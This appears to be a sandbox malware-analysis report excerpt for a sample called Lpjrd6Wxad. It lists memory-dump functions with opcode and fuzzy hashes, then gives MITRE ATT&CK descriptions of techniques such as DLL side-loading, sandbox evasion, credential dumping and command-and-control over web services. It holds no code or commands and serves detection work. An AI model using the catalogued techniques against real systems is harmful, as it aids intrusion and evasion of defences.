Opcode ID: fe1b1fcd21084f3fa6661445b3851ab3790fb1b17286510a90f066f19bac3f7f
Instruction ID: 9a3f9efaaa111047eb8dea95e1771ecfb0e8a2284409455f292950b8e052dacf
Opcode Fuzzy Hash: fe1b1fcd21084f3fa6661445b3851ab3790fb1b17286510a90f066f19bac3f7f
Instruction Fuzzy Hash: CAC1AF74E01228CFDB14DFA9C984BADBBB2BF89300F1081A9D809AB354DB355E85DF55

Function 0582DE30 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbca0206da9ca0113a7c1e6343516291c99a7910dfe37614e04d3a988d71f270
Instruction ID: aec81284dc3756395ac60304ea0f6547f1bd92ec790a26b58937c04ce86c2856
Opcode Fuzzy Hash: dbca0206da9ca0113a7c1e6343516291c99a7910dfe37614e04d3a988d71f270
Instruction Fuzzy Hash: 7DC1AF75E01218CFDB14DFA9C984BADBBB2BF89300F1080A9D809AB354DB355E85DF51

Function 0582479C Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054ca47f98f4b9e8d82b220f7370cf597750bd777cce0a1bf0f82d1ad49f1b1
Instruction ID: acbc2860ca207fc4030a68d29eef7689f4bd478643af61db26e00cddfdcf09a0
Opcode Fuzzy Hash: e054ca47f98f4b9e8d82b220f7370cf597750bd777cce0a1bf0f82d1ad49f1b1
Instruction Fuzzy Hash: FCA10271D106598EDB14DFA9C844BADFBB1EF89300F14C2AAE448A7260EB709A85CF51

Function 05821798 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f520ee38834860eed492159f30346ff59e4b398ed8217e013ba12f2216daddd
Instruction ID: a895bb2513ecc3eee8fbab210cfc284b1eb16c622f2ef4655eb0a7b02450ec67
Opcode Fuzzy Hash: 5f520ee38834860eed492159f30346ff59e4b398ed8217e013ba12f2216daddd
Instruction Fuzzy Hash: FBA1A475E012288FEB64CF6AC944B9DFBF2BF89300F14C1AAD849A7254DB745A85CF11

Function 058222E0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928a3d53263cc085ab06997124616b57061490d5ef15a5f1a4e431087bb7e71f
Instruction ID: d2fce42bea95843027bac423cf4ca79871f10d25d02eec8e93af2ca149ddae87
Opcode Fuzzy Hash: 928a3d53263cc085ab06997124616b57061490d5ef15a5f1a4e431087bb7e71f
Instruction Fuzzy Hash: 76A10474D00218CFEB24DFA9D948BDDBBB1FF88314F208269E409A72A1DB759985CF51

Function 058210B8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe4956c90e1f387f68353eae0f5790f31d20fb28919b2c7f84ae31c240c0a39
Instruction ID: 3c932bf4990192930e7696bb185983bed5807374fbf5933159bbdcac491d8f43
Opcode Fuzzy Hash: 7fe4956c90e1f387f68353eae0f5790f31d20fb28919b2c7f84ae31c240c0a39
Instruction Fuzzy Hash: 24A19275E012288FEB68CF6AD944B9DFBF2BF89300F14C1A9D809A7254DB745A85CF11

Function 058222D6 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84251648ed2f2ffd1642c4baf2be821e945545f1aa85c6b77215ecf01277898d
Instruction ID: 154a241f6448939fbae2d63e2aab0f931635fe9f0125e248d8d271614b6b7695
Opcode Fuzzy Hash: 84251648ed2f2ffd1642c4baf2be821e945545f1aa85c6b77215ecf01277898d
Instruction Fuzzy Hash: D1A10474D00218CFEB14DFA8D948B9DBBB1FF88314F208269E409AB2A1DB749985CF51

Function 05822626 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93623c7ed8372df85f1823753166c0d0c7a5160b692818588bb9d9f5534ed3bb
Instruction ID: 3fb0f8f5f892fabf8f85500b4f7c8ca74ec8ada524495496b07f5ad8eec57755
Opcode Fuzzy Hash: 93623c7ed8372df85f1823753166c0d0c7a5160b692818588bb9d9f5534ed3bb
Instruction Fuzzy Hash: 9891E474D00218CFEB14DFA8D948BDCBBB1FF49314F208269E40AAB291DB759985CF55

Function 0582FC98 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d463439a7fcb7366f096be2f96af9364e26cad708280a345dedab62e49aa08b
Instruction ID: b5786276e09b4b24b0e90f54fb2ed5f1448489a11d58da919967e66e2f1b8f9e
Opcode Fuzzy Hash: 7d463439a7fcb7366f096be2f96af9364e26cad708280a345dedab62e49aa08b
Instruction Fuzzy Hash: DC81B074E01218CBDB14DFA9D994BADBBB2FF88301F608129D805AB394DB355D86DF50

Function 0102FB03 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98f2db1431fe35bbcd39496319023e6874a4cb2089f12db06bb55803a5061c46
Instruction ID: 56b4310e402f2eea9f5bc88be56c809dc28695bd667821b875d99dec5c08d746
Opcode Fuzzy Hash: 98f2db1431fe35bbcd39496319023e6874a4cb2089f12db06bb55803a5061c46
Instruction Fuzzy Hash: CDA18C74A01228CFDB65DF24C994B9ABBB2BF49301F1085EAE84DA7350DB319E85CF51

Function 0582003F Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c54eb2e8e8c06ca53ce9bcd0b2c8ea73189e2da740ae09857b307b8b33b0c0
Instruction ID: 4b41379fa801b50b550e638d9c666a1fecc5dfa40e04c0279b173cb6cf73e565
Opcode Fuzzy Hash: 06c54eb2e8e8c06ca53ce9bcd0b2c8ea73189e2da740ae09857b307b8b33b0c0
Instruction Fuzzy Hash: 66718075D05228CFDB68DF6AC9847DDBBB2BB89301F1490AAD409A7354DB359E85CF00

Function 058210AD Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dd28f89ac6ae36ff37af31f6e313a121a7a9751518c8b8b1710fdb4c8ee7490
Instruction ID: d4368a818d79d992deaa5ec8028d34e90874748e784ad7a146f261d4762251c4
Opcode Fuzzy Hash: 8dd28f89ac6ae36ff37af31f6e313a121a7a9751518c8b8b1710fdb4c8ee7490
Instruction Fuzzy Hash: AC717771E016288FEB68CF6AC954B9AFBF2BF88300F14C1E9D409A7254DB745A85CF11

Function 0102F4C7 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff179b0bb0cbc00a154c70365dd2896c797bf9020b900496f3901d0c0330d231
Instruction ID: 54c532440e2710e7f080fc5cf35cc139ec61f93f609251307a7e54f3e2d1d328
Opcode Fuzzy Hash: ff179b0bb0cbc00a154c70365dd2896c797bf9020b900496f3901d0c0330d231
Instruction Fuzzy Hash: 3661B575E01219CBDB68DF66D880BADBBB2BF88700F10C1A9E809A7754DB315D86DF40

Function 0102FCE3 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231347bf91b14f73aafbae98134eb9394c9f2f76d85b14964984fcfbfefedb67
Instruction ID: 4ef9c24f5793dfc88c45f2301fe33126b3361a9a726b1ad5ce83307b2c2b6409
Opcode Fuzzy Hash: 231347bf91b14f73aafbae98134eb9394c9f2f76d85b14964984fcfbfefedb67
Instruction Fuzzy Hash: B2517274A01229CFDB65DF24C954B9EBBB2BF4A301F5089E9D80AA7350DB319E81CF50

Function 05821E72 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e07fec2124a61802eae9d370f8deda5bb6f3270ce74881694c8533c7ab605b8
Instruction ID: 36da214a919cd35e6162b30bc57bbd45cd9ad067985d77bcde191cae5b22edb3
Opcode Fuzzy Hash: 6e07fec2124a61802eae9d370f8deda5bb6f3270ce74881694c8533c7ab605b8
Instruction Fuzzy Hash: 7041E379E04218CBEB18DFAAD85469DFBB2EF88300F20D02AD819BB254DB355946CF51

Function 05821788 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c28c40496774d37a0b1831446daf171e2beb427f69d6c3052f04142d9df2b63
Instruction ID: 72393c9bcb65a1facdc040e95a27e01281ebedc41bb808601e38dd4d7a9399f8
Opcode Fuzzy Hash: 6c28c40496774d37a0b1831446daf171e2beb427f69d6c3052f04142d9df2b63
Instruction Fuzzy Hash: 4D4169B1E016188BEB58CF5BCD5479EFAF3AFC9304F14C1AAD50CA6254EB740A858F51

Function 0582F3D9 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46b036f42aae0dfc51f04f1d9031b57f8ac79bab7176ab8b9032bd5c142f8a9
Instruction ID: 5b411513b28dea1ad67177906881a538fe5dbde49ea09fb8dea430ab533bec6b
Opcode Fuzzy Hash: d46b036f42aae0dfc51f04f1d9031b57f8ac79bab7176ab8b9032bd5c142f8a9
Instruction Fuzzy Hash: 5041E271E00258CBEB18DFAAC95469EBBF2AF89300F64C12AD819BB354DB345946CF44

Function 0582D119 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f600391f1a61d3b6c51df1136fe1442514e062215df0a9f76f952038094eed
Instruction ID: 725520cf4200efcef52e6cb948fe16faf1852797edf29ad277516b6b86d5a226
Opcode Fuzzy Hash: e8f600391f1a61d3b6c51df1136fe1442514e062215df0a9f76f952038094eed
Instruction Fuzzy Hash: 4C410671E01258CBDB18DFAAD8546EDFBB2EF89300F20C12AD818BB254DB355946CF04

Function 0582D571 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0b9faf64fdbbc3f217080d696a8ecc6386429a99748519f01288947f8b61bc
Instruction ID: 5c44278ba2a51105094e7d6f436ad53bf2a29e1f33e3e43be9ffbec2d54cab13
Opcode Fuzzy Hash: cd0b9faf64fdbbc3f217080d696a8ecc6386429a99748519f01288947f8b61bc
Instruction Fuzzy Hash: 3141F5B0E01218CBEB18DFAAC94469EBBF2AF89304F20C129D819BB254DB355946CF54

Function 0582EB29 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c6bb075a5572158b436c3881815f33b13a4ad177a1216f59b1a5d4f6e236f3
Instruction ID: c815185a7f47920489b4801f956c5ba0ce75ecf648a11c3b625548c955d4d8b0
Opcode Fuzzy Hash: 46c6bb075a5572158b436c3881815f33b13a4ad177a1216f59b1a5d4f6e236f3
Instruction Fuzzy Hash: 1041F570E00258CBEB18DFAAD4446AEBBF2BF89304F20C12AD819BB254DB345946CF54

Function 0582DE24 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35237f4b5d3a06592f0f86c865142eb07f10e9940f0fb928c454619045560df3
Instruction ID: 882f4e58504de7ba9b02cdc22eb0e6a303464f799d1ab0edde6463d672d9ff00
Opcode Fuzzy Hash: 35237f4b5d3a06592f0f86c865142eb07f10e9940f0fb928c454619045560df3
Instruction Fuzzy Hash: 8F410374E002488FEB18DFAAD4546EEBBB2EF89300F20C12AD819BB254DB355946CF54

Function 0582D9CB Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22f951dfca7f6829966a14ec5c6893199844d762fdfff765defac6ed3b4c6f1d
Instruction ID: 976a11494f40ab00880195357d063188d7a8fb4b4f4112c5a14f47c922bd3633
Opcode Fuzzy Hash: 22f951dfca7f6829966a14ec5c6893199844d762fdfff765defac6ed3b4c6f1d
Instruction Fuzzy Hash: E441E575E01218CBEB18DFAAD5547AEBBF2AF88300F24C12AD819BB254DB345946CF54

Function 0582EF83 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 483c17860d0ce5118c0a3ea408664a8195bb39e52ba1d89ec72fbb3e7f9357dd
Instruction ID: 4f28babd7931a58735df5914ba7b3479c832530cb42b884f0a0afc2380fe1098
Opcode Fuzzy Hash: 483c17860d0ce5118c0a3ea408664a8195bb39e52ba1d89ec72fbb3e7f9357dd
Instruction Fuzzy Hash: 0541C575E01218CBDB18DFAAD9546ADFBB2BF88300F24C12AD819BB254DB345946CF54

Function 0582E6D3 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9337d35a8ea459f46f1f4e3b8d02c180a4e43e4033f254be3713e040453b87ea
Instruction ID: 3d416408d47289fad0b3a890935c2f98452dd861cae18bf13d473983fd4374d3
Opcode Fuzzy Hash: 9337d35a8ea459f46f1f4e3b8d02c180a4e43e4033f254be3713e040453b87ea
Instruction Fuzzy Hash: 0841E575E00218CBEB18DFAAD5446AEBBF2FF88300F24C12AD819BB254DB355946CF44

Function 0582F835 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c571bb52615cecf8a02a8acce3f7339137599119bc3825e674b0b23d85b56f
Instruction ID: 9be3c0ab8c3a90a880bf7fd8ccdea83ee88be504214432aad7a7abe7da2eb95f
Opcode Fuzzy Hash: c4c571bb52615cecf8a02a8acce3f7339137599119bc3825e674b0b23d85b56f
Instruction Fuzzy Hash: 7B41C475E01218CBEB18DFAAD95569EFBF2BF88300F20C12AD819BB254DB355946CF44

Function 05828CC8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4037774321.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4331e7f953d0867bdd69d9a2759edf70412205a3b574f8384bcd6ff397779573
Instruction ID: 1798dd984f02a0c5dbd1ac20938e4ec457f308f505f34755265c595a01c5de1a
Opcode Fuzzy Hash: 4331e7f953d0867bdd69d9a2759edf70412205a3b574f8384bcd6ff397779573
Instruction Fuzzy Hash: 1331E7B1D056289BEB18CFAAD9847DDFBF2BF88314F14C16AD418A72A4DB7019858F10

Function 010239CD Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4034890683.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_Lpjrd6Wxad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b86f948240a7f2d1354b5555fff1e06d71bfa44e1bc2881d3fe0f0846c395fb
Instruction ID: 707188d02ca6655829f04623a45e984a2cf6c70842f2870c82ca2dc1258ead1a
Opcode Fuzzy Hash: 3b86f948240a7f2d1354b5555fff1e06d71bfa44e1bc2881d3fe0f0846c395fb
Instruction Fuzzy Hash: EA3100324597D28BC3A7CF34C492593FFB1AE03224349C9DED8C5CD507E2295899D752

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
